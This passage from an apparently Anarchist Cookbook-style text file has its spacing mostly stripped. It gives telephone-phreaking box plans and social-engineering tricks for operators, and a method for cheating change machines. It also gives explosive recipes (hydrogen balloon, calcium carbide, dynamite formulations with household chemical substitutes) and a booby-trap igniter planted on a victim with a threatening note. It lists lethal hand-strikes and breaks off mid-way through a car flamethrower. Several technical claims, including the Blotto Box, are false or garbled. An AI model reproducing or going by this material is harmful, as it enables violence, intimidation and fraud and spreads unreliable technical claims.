awayfromhavingyourownroaringconferencegoingstrong!!!
DiallinginConferees
Todialyourfirstconferee,dial1+npa+pre+suffandawaithis/heranswer.
npa=areacode
pre=prefix
suff=suffix
Ifthenumberisbusyorifnooneanswerssimplyhit*andyourcallwillbe

aborted.But,iftheydoanswer,hitthe#key.Thiswilladdthemtotheconference.
Nowcommencediallingotherconferees.
JoiningYourConference
Tojoinyourconferencefromcontrolmodesimplyhitthe#key.Withinasecond
ortwoyouwillbechattingwithallyourbuddies.Togobackintocontrolmode,
simplyhitthe#keyagain.
TransferringControl
Totransfercontroltoanotherconferee,gointocontrolmode,hitthe#6+1+npa+
pre+suffoftheconfereeyouwishtogivecontrolto.Ifafter,youwishtoabortthis
transferhitthe*key.
Note:Transferofcontrolisoftennotavailable.Whenyoureceiveamessagestating
this,yousimplycannottransfercontrol.
MutedConferences
Torequestamutedconferencesimplyhitthe9key.Iamnotexactlysurewhata
mutedconferenceisbutitisprobablyawaytokeepunwantedeavesdroppersfrom
listeningin.
DiallingAllianceOperators
Simplydial0asyouwouldfromanyphoneandwaitfortheoperatortoanswer.
EndingYourConference
Toendyourconferencealltogether,thatiskickeveryoneincludingyourselfoff,
go into control mode and hit *, after a few seconds simply hang up. Your
conferenceisover.
AreAllianceOperatorsDangerous?
No. Not in the least. The worst they can do to you while you are having a
conferenceisdropallconfereesincludingyourself.Thisisinnowayharmful,justa
littleaggravating.
AllianceandTracing
Alliancecantrace,asallcitizensoftheUnitedStatescan.Butthishastoallbepre
meditatedandAT&Thastobecalledandit'sreallyalargehastle,therefore,itis
almost never done. Alliance simply does not want it known that teenagers are
fuckingthem over.TheonlysortofsafetyequipmentAlliancehason lineisa

simplepenregister.Thislittledevicesimplyrecordsallthenumbersoftheconferees
dialled.Nobigdeal.AllAlliancecandoiscallupthatpersonsnumber,threatenand
question.However,legally,theycandonothingbecauseallyoudidwasansweryour
phone.
Note: Almost all instructions are toldto theperson incommand by Alliance
recordings.Alotofthistutorialisjustalistingofthosecommandsplusinformation
gatheredbyeithermyselforthefellowfreaksoftheworld!!!
(writtenbyTrooper)

AquaBoxPlans
byJollyRoger
EverytruefreakerlivesinfearofthedreaddedF.B.I.LockInTrace.Foralong
time,itwasimpossibletoescapefromtheLockInTrace.Thisboxdoesofferan
escaperoutewithsimpledirectionstoit.Thisboxisquiteasimpleconcept,and
almostanyfreakerwithbasicelectronicsknowledgecanconstructanduseit.
TheLockInTrace
AlockintraceisadeviceusedbytheF.B.I.tolockintothephoneuserslocation
sothathecannothangupwhileatraceisinprogress.Forthoseofyouwho arenot
familiarwiththeconnectoflockingin,thenhere'sabriefdescription.TheF.B.I.
cantapintoaconversation,sortoflikeathreewaycallconnection.Then,whenthey
getthere,theycanplugelectricityintothephoneline.Allphoneconnectionsareheld
openbyacertainvoltageofelectricity.Thatiswhyyousometimesgetstaticand
faintconnectionswhenyouarecallingfaraway,becausetheelectricityhastrouble
keepingthelineup.Whatthelockintracedoesiscutintothelineandgeneratethat
samevoltagestraightintothelines.Thatway,whenyoutryandhangup,voltageis
retained.Yourphonewillringjustlikesomeonewascallingyouevenafteryouhang
up.(Ifyouhavecallwaiting,youshouldunderstandbetteraboutthat,forcallwaiting
intersectstheelectricityandmakesatonethatmeanssomeoneisgoingthroughyour
line. Then, it is a matter of which voltage is higher. When you push down the
receiver,thenitseesawstheelectricitytotheotherside.Whenyouhaveapersonon
eachlineitisimpossibletohangupunlessoneorbothofthemwillhangup.Ifyou
trytohangup,voltageisretainedandyourphonewillring.Thatshouldgiveyouan
understandingofhowcallingworks.Also,whenelectricitypassesthroughacertain
pointonyourphone,theelectricitycausesabelltoring,oronsomenewerphonesan
electronicringtosound.)So,inordertoeliminatethetrace,yousomehowmust
lower the voltage level on your phone line. You should know that every time

someoneelsepicksupthephoneline,thenthevoltagedoesdecreasealittle.Inthe
firststepsofplanningthisout,Xeroxsuggestedgettingaboutahundredphonesall
hookedintothesamelinethatcouldallbetakenoffthehookatthesametime.That
would greatly decrease the voltage level. That is also why most three way
connectionsthatareusingthebellservicethreewaycalling(whichisonly$3a
month)becomequitefaintafterawhile.Bynow,youshouldunderstandthebasic
idea.Youhavetodrainallofthepoweroutofthelinesothevoltagecannotbekept
up.RathersuddendrainingofpowercouldquicklyshortouttheF.B.I.voltage
machine,becauseitwasonlybuilttosustaintheexactvoltagenecessarytokeepthe
voltageout.Fornow,imaginethis.OneofthenormalRadioShackgeneratorsthat
youcangopickupthatoneendofthecordthathooksintothecentralboxhasa
phonejackonitandtheotherhasanelectricalplug.Thisway,youcan"flash"
voltagethroughtheline,butcannotdrainit.So,somemodificationshavetobedone.
Materials
ABeoc(BasicElectricalOutputSocket),likeasmalllamptypeconnection,where
youjusthaveasimpleplugandwirethatwouldplugintoalightbulb.Oneofcords
mentioned above, if you can't find one then construct your own. Same voltage
connection,buttherestrainermustbebuiltin(i.e.Thecentralbox).Twophone
jacks(oneforthemodem,oneforifyouarebeingtracedtoplugtheaquaboxinto)
Somecreativityandeasywork.
*Notice:Nophoneshavetobedestroyed/modifiedtomakethisbox,sodon'tgo
outandbuyanewphoneforit!
Procedure
Allright,thisisaverysimpleprocedure.IfyouhavetheBEOC,itcoulddraininto
anything:aradioorwhatever.Thepurposeofhavingthatisyouaregoingtosuck
thevoltageoutfromthephonelineintotheelectricalappliancesotherewouldbeno
voltagelefttolockyouinwith.
1)Taketheconnectioncord.Examinetheplugattheend.Itshouldhaveonlytwo
prongs.Ifithasthree,still,donotfear.Makesuretheelectricalapplianceisturned
offunlessyouwantbecomeacrispycritterwhilemakingthisthing.Mostplugswill
haveahardplasticdesignonthetopofthemtopreventyoufromgettinginatthe
electricalwiresinside.Well,removeit.Ifyouwanttokeeptheplug(Idon'tseewhy)
thenjustcutthetopoff.Whenyoulookinside,LoandBehold,youwillseethatat
thebaseoftheprongsthereareafewwiresconnectingin.Thosewiresconductthe
powerintotheappliance.So,youcarefullyunwrapthosefromthesidesandpull
themoutuntiltheyareaboutaninchaheadoftheprongs.Ifyoudon'twanttokeep
thejack,thenjustriptheprongsout.Ifyouare,covertheprongswithinsultation
tapesotheywillnotconnectwiththewireswhenthepowerisbeingdrainedfrom
theline.
2)Dothesamethingwiththeprongsontheotherplug,soyouhavethewiresevenly
connected.Now,wraptheendofthewiresaroundeachother.Ifyouhappentohave

theotherendofthevoltagecordhookedintothephone,stopreadingnow,you'retoo
fuckingstupidtocontinue.Afteryou'vewrappedthewiresaroundeachother,then
coverthewholethingwiththeplugswithinsulatingtape.Then,ifyoubuiltyour
owncontrolboxorifyouboughtone,thencramallthewiresintoitandrecloseit.
Thatboxisyourticketoutofthis.
3) Re check everything to make sure it's all in place. This is a pretty flimsy
connection,butonlatermodelswhenyougetmoreexperiencedatitthenyoucan
solderawayatitandformthewholedeviceintoonebigbox,withsomekindof
cheapmatterhandheldgameinsidetobethepowerconnector.Inordertouseit,
justkeepthisboxhandy.Plugitintothejackifyouwant,butitwillslightlylower
thevoltagesoitisn'tconnected.Whenyouplugitin,ifyouseesparks,unplugitand
restartthewholething.Butifitjustseemsfinethenleaveit.
Use
Now,soyouhavethewholethingpluggedinandall.Donotusethisunlessthe
situationisdesperate!Whenthetracehasgoneon,don'tpanic,unplugyourphone,
andturnontheappliancethatitwashookedto.Itwillneedenergytoturnitselfon,
andhere'sagreatsource.Thevoltagetokeepaphonelineopenisprettysmallanda
simplelightbulbshoulddrainitallinandprobablyshorttheF.B.I.computeratthe
sametime.
HindenburgBomb
byJollyRoger
Needed:1Balloon;1Bottle;1LiquidPlumb;1PieceAluminiumFoil;1Length
Fuse.Fillthebottle3/4fullwithLiquidPlumbandaddalittlepieceofaluminium
foiltoit.Puttheballoonovertheneckofthebottleuntiltheballoonisfullofthe
resultinggas.Thisishighlyflammablehydrogen.Nowtietheballoon.Nowlightthe
fuseandletitrise.Whenthefusecontactstheballoon,watchout!
HowtoKillSomeonewithyourbarehands
AnexcerptfromtheAnarchistsCookbookII
courtesyofExodus
Thisfilewillexplainthebasicsofhandtohandcombatandwilltellofthebest
placestostrikeandkillanenemy.Whenengagedinhandtohandcombatyourlife
isalwaysatstake.Thereisonlyonepurposeincombatandthatistokillyour
enemy.Neverfaceanenemywiththeideaofknockinghimout.Thechancesare
extremelygoodthathewillkill you instead.Whenaweaponisnotavailable,one
mustresorttothefulluseofhisnaturalweapons.Thenaturalweaponsare:theknife
edgeofyourhands;fingers foldedatthesecondjointorknuckle;theprotruding

knuckleofyoursecondfinger;theheelofyourhand;yourboot;elbows;kneesand
teeth.Attackingisaprimaryfactor. Afightwasneverwonbydefensiveaction.
Attackwithallofyourstrength.Atanypointoranysituation,somevulnerablepoint
onyourenemiesbodywillbeopenforattack.Dothiswhilescreamingasscreaming
has

two

purposes:
1.Tofrightenandconfuseyourenemy;
2.Toallowyoutotakeadeepbreathwhich,inturn,willputmoreoxygeninyour
bloodstream.
Yourbalanceandbalanceofyourenemyaretwoimportantfactorssince,ifyou
succeedinmakingyourenemylosehisbalance,thechancesareninetoonethatyou
cankillhiminyournextmove.Thebestoverallstanceiswhereyourfeetare
spreadaboutshoulderswidthapart,withyourrightfootaboutafootaheadofthe
left.Botharmsshouldbebentattheelbowsparalleltoeachother.Standontheballs
ofyourfeetandbendyourwaistslightly.Kindoflikeaboxer'scrouch.Employinga
suddenmovementorascreamoryellcanthrowyourenemyoffbalance.Thereare
manyvulnerablepointsofthebody.Wewillcoverthemnow:
Eyes:UseyourfingersinaVshapeandattackingougingmotion.
Nose:(Extremelyvulnerable)Strikewiththeknifeedgeofthehandalongthebridge,
whichwillcausebreakage,sharppain,temporaryblindnessandiftheblowishard
enough,death.Alsodeliverablowwiththeheelofyourhandinanupwardmotion,
thiswillshovetheboneupintothebraincausingdeath.
Adam'sApple:Thisspotisusuallyprettywellprotected,butifyougetthechance,
strikehardwiththeknifeedgeofyourhand.Thisshouldseverthewindpipeand
thenit'salloverinamatterofminutes.
Temple:Thereisalargearteryuphereandifyouhitithardenough,itwillcause
death.Ifyoumanagetoknockyourenemydown,kickhiminthetempleandhe'll
nevergetupagain.
BackoftheNeck:Arabbitpunchorblowdeliveredtothebaseoftheneckcan
easilybreakit,buttobesafe,itisbettertousethebuttofagunorsomeotherheavy
bluntobject.
Upperlip:Alargenetworkofnervesarelocated.Thesenervesareextremelyclose
totheskin.Asharpupwardblowwillcauseextremepainandunconsciousness.
Ears:Comingupfrombehindanenemyandcuppingthehandsinaclappingmotion
over the victims ears can kill him immediately. The vibrations caused from the
clappingmotionwillbursthiseardrumsandcauseinternalbleedinginthebrain.
Groin: Avery vulnerablespot.Ifleftopen,getitwithkneehardandhe'llbuckle
oververyfast.
Kidneys:Alargenervethatbranchesofftothespinalcordcomesveryclosetothe
skinatthekidneys.Adirectblowwiththeknifeedgeofyourhandcancausedeath.
Therearemanymorewaystokillandinjureanenemy,buttheseshouldworkbest
for the average person. This is meant only as information and I would not
recommendthatyouusethisforasimpleHighSchoolBrawl.Usethesemethods
only,inyouropinion,ifyourlifeisindanger.Anyoneofthesemethodscouldvery
easilykillorcausepermanentdamagetosomeone.Onemorewordofcaution,you

shouldpracticethesemovesbeforeusingthemonadummyoramockbattlewitha
friend(Youdon'thavetoactuallyhithimtopractice,justworkonaccuracy.)
BlackBoxPlans
byJollyRoger
Introduction
Atanygiventime,thevoltagerunningthroughyourphoneisabout20Volts.
Whensomeonecallsyou,thisvoltagegoesupto48Voltsandringsthebell.When
youanswer,thevoltagegoesdowntoabout10Volts.Thephonecompanypays
attentiontothis.Whenthevoltagedropsto10,theystartbillingthepersonwho
calledyou.
Function
TheBlackBoxkeepsthevoltagegoingthroughyourphoneat36Volts,sothatit
neverreaches10Volts.Thephonecompanyisthusfooledintothinkingyounever
answeredthephoneanddoesnotbillthecaller.However,afteraboutahalfhourthe
phonecompanywillgetsuspiciousanddisconnectyourlineforabout10seconds.
Materials

11,8K1/2WattResistor;11,5VLed;1SPSTSwitch.
Procedure
Openyourphonebylooseningthetwoscrewsonthebottomandliftingthecaseoff.
Thereshouldbethreewires:red,greenandyellow.We'llbeworkingwiththeRed
Wire.Connectthefollowinginparallel:A.TheResistorandLed.B.TheSPST
Switch.Inotherwords,youshouldendupwiththis:
1.
2.
3.
4.
5.
6.
7.

(redwire)
!/\/\/\O!
(line)!!(phone)
!_/_!
/\/\/\=resistor
O=Led
_/_=SPST

Use
TheSPSTSwitchistheon/offswitchoftheBlackBox.Whentheboxisoff,your
phonebehavesnormally.Whentheboxisonandyourphonerings,theLedflashes.
Whenyouanswer,theLedstaysonandthevoltageiskeptat36V,sothecalling

partydoesn'tgetcharged.Whentheboxison,youwillnotgetadialtoneandthus
cannotmakecalls.Alsorememberthatcallsarelimitedtohalfanhour.
P.S.DuetonewPhoneCompanyswitchingsystems&thelike,thismayormay
notworkinyourarea.IfyouliveinbumfuckKentucky,thentrythisout.Imakeno
guarantees(Ineverdo!)!

TheInfamousBlottoBox!!!
byJollyRoger
(Ibetthatnoonehastheballstobuildthisone!)Finally,itishere!Whatwasfirst
conceivedasajoketofooltheinnocentfreakersaroundAmericahasfinallybeen
conceived!Well,foryoupeoplewhoareunenlightenedabouttheBlottoBox,hereis
abriefsummeryofalegend.
TheBlottoBox
ForyearsnoweverypiratehasdreamedoftheBlottoBox.Itwasatfirstmadeasa
joketomockmoreignorantpeopleintothinkingthatthefunctionofitactuallywas
possible.Well,ifyouareTheVoltageMaster,itispossible.Originallyconceivedby
KingBlottoofmuchfame,theBlottoBoxisfinallyavailabletothepublic.
Note:JollyRogercannotberesponsiblefortheinformationdisclosedinthefile!
Thisfileisstrictlyforinformationalpurposesandshouldnotbeactuallybuiltand
used!Usageofthiselectronicallyimpulsemachinecouldhavethesevereresults
listed below and could result in high federal prosecution! Again, I take no
responsibility!Allright,nowthatthatisclearedup,hereisthebasisoftheboxand
it'sfunction.TheBlottoBoxiseveryfreaksdream,youcouldholdAT&Tdownon
itsknee'swiththisdevice.Because,quitesimply,itcanturnoffthephonelines
everywhere.Nothing.Blotto.Nocallswillbeallowedoutofanareacodeandno
callswillbeallowedin.Nocallscanbemadeinsideitforthatmatter.Aslongasthe
switchingsystemstaysthesame,thisboxwillnotstopatamereareacode.Itwill
stopatnothing.Theelectricalimpulsesthatemitfromthisboxwillopeneveryline.
Everylinewillringandringandring,thevoltagewillneverbecutoffuntilthebox/
generatorisstopped.Thisisno200voltjob,here.Wearetalkinggenerator.Every
phonelinewillcontinuetoring,andpeopleclosetotheboxmaybeelectrocutedif
theypickupthephone.But,theBlottoBoxcanbestoppedbymerelycuttingofthe
lineorgenerator.Iftheyarecutoffthennothingwillemitanylonger.Itwilltakea
whilefortheboxtocalmbackdownagain,butthatismerelyasuperficialafter
effect.Onceagain:Constructionanduseofthisboxisnotadvised!TheBlottoBox

willcontinueaslongasthereiselectricitytocontinuewith.O.K.,thatiswhatit
does,now,herearesomeinterestingthingsforyoutodowithit.
BlottoFunctions/Installing
OnceyouhaveinstalledyourBlotto,thereisnoturningback.Thefollowingare
the instructions for construction and use of this box. Please read and heed all
warningsintheabovesectionbeforeyouattempttoconstructthisbox.

Materials
AHondaportablegeneratororamainpoweroutletlikeinastadiumorsomesuch
place;400voltratedcouplerthatsplicesafemaleplugintoaphonelinejack;ameter
ofvoltagetoattachtotheboxitself;agreenbase(i.e.oneoftheniceboxesabout3'
by4'thatyouseearoundinyourneighbourhood.Theyarethemainswitchboards
andwouldbeamoreeffectivelinetostartwithor:Aregularphonejack(notyour
ownandnotinyourareacode!Asolderingironandmuchsolder;aremotecontrol
orlongwoodenpole.Now,youmusthaveguessedtheconstructionfromthat.Ifnot,
heregoes,Iwillexplainindetail.TaketheHondaPortableGeneratorandallofthe
otherlistedequipmentandgooutandhuntforagreenbase.Makesureitisoneon
thegroundorhangingatheadlevelfromapole,notthehugeonesatthetopof
telephonepoles.Openitupwithanythingconvenient,ifyouaretwofeeblethatfuck
don'ttrythis.Takealookinside,youarehuntingforcolourcoordinatinglinesof
greenandred.Now,takeoutyourradioshackcordandripthemeterthingoff.
Replaceitwiththevoltagemeterabout.Agoodleveltosetthevoltagetoisabout1
000 Volts. Now, attach the voltage meter to the cord and set the limit for one
thousand.Plugtheotherendofthecordintothegenerator.Takethephonejackand
splicethejackpartoff.Openitupandmatchtheredandgreenwireswiththeother
redandgreenwires.
Note:Ifyoujusthadthegeneratoronandhavedonethisinthecorrectorder,you
willbeacrispycritter.Keepthegeneratoroffuntilyouplantostartitup.Now,
solderthoselinestogethercarefully.Wrapducktapeorinsultationtapearoundallof
thewires.Now,placetheremotecontrolrightontothestartupofthegenerator.If
youhavethelongpole,makesureitisverylongandstandbackasfarawayasyou
cangetandreachthepoleover.
Notice:Ifyouaregoingrightalongwiththiswithoutreadingthefilefirst,youstill
realizenowthatyourareacodeisabouttobecomenull!Then,gettingback,twitch
thepole/remotecontrolandrunforyourdamnlife.Anywhere,justgetawayfromit.
It will be generating so much electricity that if you stand to close you will kill
yourself.Thegeneratorwillsmokeetc.butwillnotstop.Youarenowkillingyour
areacode,becauseallof that energyisspreadingthroughallof thephonelines
aroundyouineverydirection.*=>TheBlottoBox:Aftermath<=*Well,thatis
theplansforthemostdevastatingandultimatelydeadlyboxevercreated.Myhat
goesoffto:KingBlotto(fortheoriginalidea).

Blowgun
byJollyRoger
InthisarticleIshallattempttoexplaintheuseandmanufactureofapowerful
blowgunandmakingdartsforthegun.Thepossessionoftheblowgundescribedin
thisarticleISafelony.Sobecarefulwhereyouuseit.Idon'twanttogetyouall
busted.
Needed
Severalstrandsofyarn(About2inchesapiece);aregularpencil;a21/4inch
longneedle(hopefullywithabeadedhead.Ifnotobtainable,wraptapearoundend
ofneedle;231/4footpipe.(PVCorAluminium)halfaninchindiameter.
Constructingthedart
Carefullytwistandpullthemetalpart(Alongwitheraser)ofthepenciltillitcomes
off.TakePinandstartputtingabout57Strandsofyarnonthepin.Thenpushthem
uptothetopofthepin.Butnotovertheheadofthepin(orthetape).Pushpin
throughthehollowpartoftheheadwherethepencilwasbefore.Thatshouldfora
nicelookingdart(seeillustration).
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>>>>>/#istheyarn
>istheheadofthepencil
isthepinitself
/istheheadofthepin.
UsingtheDarts
Nowtakethefinisheddartandinsertitinthetube(ifitistoosmallputonmore
yarn). Aim the tube at a door, wall, sister etc. Blow on the end of the pipe.
Sometimestheendofthepipemaybesharp.WhenthishappensIsuggestyouwrap
itwithsomeblackelectriciantape.Itshouldfeelalotbetter.

BrownBoxPlans
byJollyRoger
Thisisafairlysimplemodthatcanbemadetoanyphone.Allitdoesisallowyou

totakeanytwolinesinyourhouseandcreateapartyline.SofarIhavenotheardof
anyonewhohasanyproblemswithit.Thereisonethingthatyouwillnoticewhen
youareoneofthetwopeoplewhoiscalledbyapersonwithabrownbox.Theother
personwillsoundalittlebitfaint.Icouldovercomethiswithsomeamplifiersbut
then there wouldn't be very many of these made [Why not ? ]. I think the
convenienceofhavingtwopeopleonthelineatoncewillmakeupforanyminor
volumeloss.Hereisthediagram:
___________________________________
key:|part|symbol|
||
|blackwire|*|
|yellowwire|=|
|redwire|+|
|greenwire||
|SPDTswitch|_/_|
|_/_|
|verticalwire|||
|horizontalwire|_|

*=+
*=+
*=+
*=+
*=+
*==_/_+
*******_/_++++++
||
||
||
||
||
||
|_____phone_____|
CalciumCarbideBomb
byJollyRoger
Thisis extremelydangerous.Exerciseextremecaution!Obtainsomecalcium
carbide.Thisisthestuffthatisusedincarbidelampsandcanbefoundatnearlyany
hardwarestore.Takeafewpiecesofthisstuff(itlookslikegravel)andputitina
glassjarwithsomewater.Putalidontightly.Thecarbidewillreactwiththewater
toproduceacetylenecarbonatewhichissimilartothegasusedincuttingtorches.
Eventuallytheglasswithexplodefrominternalpressure.Ifyouleaveaburningrag

nearby,youwillgetanicefireball!
RippingoffChangeMachines
byJollyRoger
Haveyoueverseenoneofthosereallybigchangermachinesinairportslaundry

matsorarcadesthatdispensechangewhenyouputinyour1or5dollarbill?Well
then,hereisanarticleforyou.Findthetypeofchangemachinethatyouslideinyour
billlengthwise,notthetypewhereyouputthebillinatrayandthenslidethetrayin
!!!Afterfindingtherightmachine,geta$1or$5bill.Startcrumplingupintoa
ball.Thensmoothoutthebill,nowitshouldhaveaverywrinklysurface.Nowthe
hardpart.Youmusttearanotchinthebillontheleftsideabout1/2inchbelowthe
little1dollarsymbol(seefigure).Ifyouhavedoneallofthisrightthentakethebill
andgooutthemachine.Putthebillinthemachineandwait.Whatshouldhappenis:
whenyouputyourbillinthemachineitthinkseverythingisfine.Whenitgetstothe
partofthebillwiththenotchcutout,themachinewillrejectthebilland(ifyouhave
doneitright)giveyouthechangeatthesametime!!!So,youendupgettingyour
billback,plusthechange!!!Itmighttakealittlepractice,butonceyougetthehang
ofit,youcangetalotofmoney!
!!
!!
!(1)/\(1)!
!!!!
!!Pic.!!
!(1)/\\/(1)!
!!!!
!/\!
\Makenotchhere.About1/2"downfrom(1)
P.S.Sorryforthe"textwork"butyoushouldbeabletogettheidea.Havefun!
ClearBoxPlans
byJollyRoger
Theclearboxisanewdevicewhichhasjustbeeninventedthatcanbeused
throughout Canada and rural United States. The clear box works on "Post Pay"
payphones(fortressphones).Thosearethepayphonesthatdon'trequirepayment
untilaftertheconnectionisestablished.Youpickupthephone,getadialtone,dial
your number and then insert your money after the person answers. If you don't
depositthemoneythenyoucannotspeaktothepersonontheotherendbecause
yourmouthpieceiscutoffbutnottheearpiece.(obviouslythesephonesarenice
forfreecallstoweatherortimeorothersuchrecordings).Allyoumustdoistogoto
yournearbyRadioShackorelectronicsstore,andgetafourtransistoramplifierand
atelephonesuctioncupinductionpickup.Theinductionpickupwouldbehooked

upasitnormallywouldtorecordaconversation,exceptthatitwouldbepluggedinto
theoutputoftheamplifierandamicrophonewouldbehookedtotheinput.Sowhen
the party that is being called answers, the caller could speak through the little
microphoneinstead.Hisvoicethengoesthroughtheamplifierandouttheinduction
coilandintothebackofthereceiverwhereitwouldthenbebroadcastthroughthe
phonelinesandtheotherpartywouldbeabletohearthecaller.TheClearBoxthus
clearsuptheproblemofnotbeingheard.Luckily,thelinewillnotbecutoffafter
acertainamountoftimebecauseitwillwaitforeverforthecoinstobeputin.The
biggestadvantageforallofusaboutthisnewclearboxisthefactthatthistypeof
payphonewillmostlikelybecomeverycommon.Duetoafewthings:1st,itisa
cheapwayofgettingtheDTF,dialtonefirstservice,2nd,itdoesn'trequireany
specialequipment,(forthephonecompany).Thispayphonewillworkonanyphone
line.Usuallyapayphonelineisdifferent,butthisisaregularphonelineanditisset
upsothephonedoesallthecharging,notthecompany.
CNAList
courtesyofJollyRoger
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ElectronicTerrorism
byJollyRoger
It starts when a big, dumb lummox rudely insults you. Being of a rational,
intelligentdisposition,youwiselychoosetoavoida(direct)confrontation.Butashe
laughsinyourface,yousmileinwardlyyourrevengeisalreadyplanned.
Step1
Followyourvictimtohislocker,carorhouse.Onceyouhavechosenyourtarget
site,laylowforaweekormore,lettingyourangerboil.
Step2
Inthemeantime,assembleyourversatileterroristkit(detailsbelow.)
Step3
PlantyourkitatthedesignatedtargetsiteonaMondaymorningbetweenthehours
of4:00amand6:00am.Includeacalm,suggestivenotethatquietlyhintsatthe
possibilityofanotherattack.Donotwriteitbyhand!Anexampleofaneffective
note:"don'tbesuchajerk,orthenextonewilltakeoffyourhand.Haveaniceday."
Noticehowthecalmtoneinstillsfear.Asifwrittenbyahomicidalpsychopath.
Step4
Chooseastrategiclocationoverlookingthetargetsite.Trytopositionyourselfin
suchawaythatyoucanseehisfacialcontortions.
Step5
Sitbackandenjoythefireworks!
Assemblyoftheversatile,economicandeffectiveterroristkit#1

 Thepartsyou'llneedare:4AAbatteries;19Voltbattery;1SPDTminirelay
(radioshack);1rocketengine(smokebomborm80);1solarigniter(anyhobby
store);19Voltbatteryconnector.

Step1
Takethe9Voltbatteryandwireitthroughtherelay'scoil.Thiscircuitshouldalso
includeapairofcontactsthatwhenseparatedcutoffthiscircuit.Thesecontacts
shouldbeheldtogetherbytrappingthembetweenthelocker,mailboxorcardoor.
Oncethedoorisopened,thecontactsfallapartandthe9Voltcircuitisbroken,
allowingtherelaytofalltotheclosedpositionthusclosingtheignitioncircuit.(Ifall
thisisconfusingtakealookattheschematicbelow).
Step2
Takethe4AAbatteriesandwiretheminsuccession.Wirethepositiveterminalof
one to the negative terminal of another, until all four are connected except one
positiveterminalandonenegativeterminal.EventhoughthefourAAbatteriesonly
combinetocreate6Volts,theincreaseinamperageisnecessarytoactivatethesolar
igniterquicklyandeffectively.

Step3
Takethebatterypack(madeinstep2)andwireoneendofittotherelay'ssingle
poleandtheotherendtooneprongofthesolarigniter.Thenwiretheotherprongof
thesolarigniterbacktotheopenpositionontherelay.
Step4
Usingdoublesidedcarpettapemountthekitinhislocker,mailboxorcardoor.
Andlast,insertthesolarigniterintotherocketengine(smokebomborm80).Your
kitisnowcomplete!
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HowtoStartAConferencew/o2600hzorMF
byJollyRoger
(originallyanApple][file,forgivetheuppercase!)
Thismethodofstartingtheconf.dependsonyourabilitytobullshittheoperator
intodiallinganumberwhichcanonlybereachedwithanoperator'sMFtones.
Whenbullshittingtheoperatorrememberoperatorsarenothiredtothinkbuttodo.
Hereisastepbystepwaytotheconf.CalltheoperatorthroughaPBXorextender,
youcouldjustcallonethroughyourlinebut Iwouldn'trecommendit.Saytothe
operator:TSPSmaintenanceengineer,ringforwardto213+080+1100,position
release,thankyou(shewillprobablyaskyouforthenumberagain).Definitions:
ringforwardinstructshertodialthenumber.Positionreleaseinstructsherto
releasethetrunkaftershehasdialledthenumber.+remembertosay213plus080
plus1100.Whenyouareconnectedwiththeconf.youwillhearawhistleblowtwice
andarecordingaskingyouforyouroperator#.Dialinanyfivedigitsandhitthe
poundssignacoupleoftimes.Simplydialinthe#ofthebillinglineetc.whenthe
recordingaskforit.Wheninthecontrolmodeoftheconf.hit6totransfercontrol.
Hit001toreenterthe#ofconferee'sandtimeamountwhichyougavewhenyou
staredtheconf.Rememberthesizecanbefrom259conferees.Ihavenotfoundout
thelengthslimits.
HowtoMakeDynamite
byJollyRoger
Dynamiteisnothingmorethanjustnitroglycerinandastabilizingagenttomakeit
muchsafertouse.Forthesakeofsavingtime,Iwillabbreviatenitroglycerinwitha

plainNG.Thenumbersarepercentages,besuretomixthesecarefullyandbesureto
usetheexactamounts.Thesepercentagesareinweightratio,notvolume.

no.ingredientsamount

woodmeal12
#1NG32
anhydroussodiumsulfate44
sodiumnitrate28
#9NG24
woodmeal10
ammoniumoxalate29
potassiumnitrate32,5
guncotton1
woodmeal33,5
ammoniumoxalate10
#2NG24
#10NG26
potassiumnitrate9
sodiumnitrate56
potassiumnitrate33
woodmeal9
woodmeal41
ammoniumoxalate2
#11NG15
#3NG35,5 sodiumnitrate62,9
potassiumnitrate44,5 woodmeal21,2
woodmeal6
sodiumcarbonate,9
guncotton2,5 #12NG35
vaseline5,5 sodiumnitrate27
powderedcharcoal6
woodmeal10
#4NG25
ammoniumoxalate1
potassiumnitrate26
#13NG32
woodmeal34
potassiumnitrate27
bariumnitrate5
woodmeal10
starch10
ammoniumoxalate30
#5NG57
guncotton1
potassiumnitrate19
#14NG33
woodmeal9
woodmeal10,3
ammoniumoxalate12
ammoniumoxalate29
guncotton3
guncotton,7
potassiumperchloride27
#6NG18
#15NG40
sodiumnitrate70
woodmeal5,5 sodiumnitrate45
potassiumchloride4,5 woodmeal15
chalk2
#16NG47
#7NG26
starch50
woodmeal40
guncotton3
bariumnitrate32
#17NG30
sodiumcarbonate2
sodiumnitrate22,3
#8NG44
woodmeal40,5

potassiumchloride7,2
#18NG50
sodiumnitrate32,6
woodmeal17
ammoniumoxalate,4

#19NG23
potassiumnitrate27,5
woodmeal37
ammoniumoxalate8
bariumnitrate4
calciumcarbonate,5

Householdequivalentsforchemicals
Ithascometomyattentionthatmanyofthesechemicalsaresoldunderbrand
names,orhavehouseholdequivalents.hereisalistthatmighthelpyouout.Also,see
elsewhereinthisCookbookforamorecompletelisting:
aceticacidvinegar
magnesiumsulfateEpsomsalts
aluminiumoxidealumia
naphthalenemothballs
aluminiumpotassiumsulfatealum
phenolcarbolicacid
aluminiumsulfatealum
potassiumbicarbonatecreamoftartar
ammoniumhydroxideammonia
potassiumchromiumsulf.chromealum
carboncarbonatechalk
potassiumnitratesaltpeter
calciumhypochloridebleachingpowder sodiumdioxidesand
calciumoxidelime
sodiumbicarbonatebakingsoda
calciumsulfateplasterofParis sodiumborateborax
carbonicacidseltzer
sodiumcarbonatewashingsoda
carbontetrachloridecleaningfluid
sodiumchloridesalt
ethylenedichlorideDutchfluid
sodiumhydroxidelye
ferricoxideironrust
sodiumsilicatewaterglass
glucosecornsyrup
sodiumsulfateglauber'ssalt
graphitepencillead
sodiumthiosulfate photographer's
hydrochloricacidmuriaticacid
hypo
hydrogenperoxideperoxide
sulfuricacidbatteryacid
leadacetatesugaroflead
sucrosecanesugar
leadtetraoxideredlead
zincchloridetinner'sfluid
magnesiumsilicatetalc
Keepthislisthandyatalltimes.Ifyoucan'tseemtogetoneormoreofthe
ingredientstryanotherone.Ifyoustillcan't,youcanalwaysbuysmallamountsfrom
yourschoolormaybefromvariouschemicalcompanies.Whenyoudothat,besure
tosayaslittleaspossible,ifduringtheschoolyeartheyask,sayit'sforaexperiment
forschool.
AutoExhaustFlameThrower
byJollyRoger
Forthisone,allyouneedisacar,asparkplug,ignitionwireandaswitch.Install
thesparkplugintothelastfourorfiveinchesofthetailpipebydrillingaholethat
theplugcanscrewintoeasily.Attachthewire(thisisregularinsulatedwire)toone
sideoftheswitchandtothesparkplug.Theothersideoftheswitchisattachedto

thepositiveterminalonthebattery.Withthecarrunning,simplyhittheswitchand
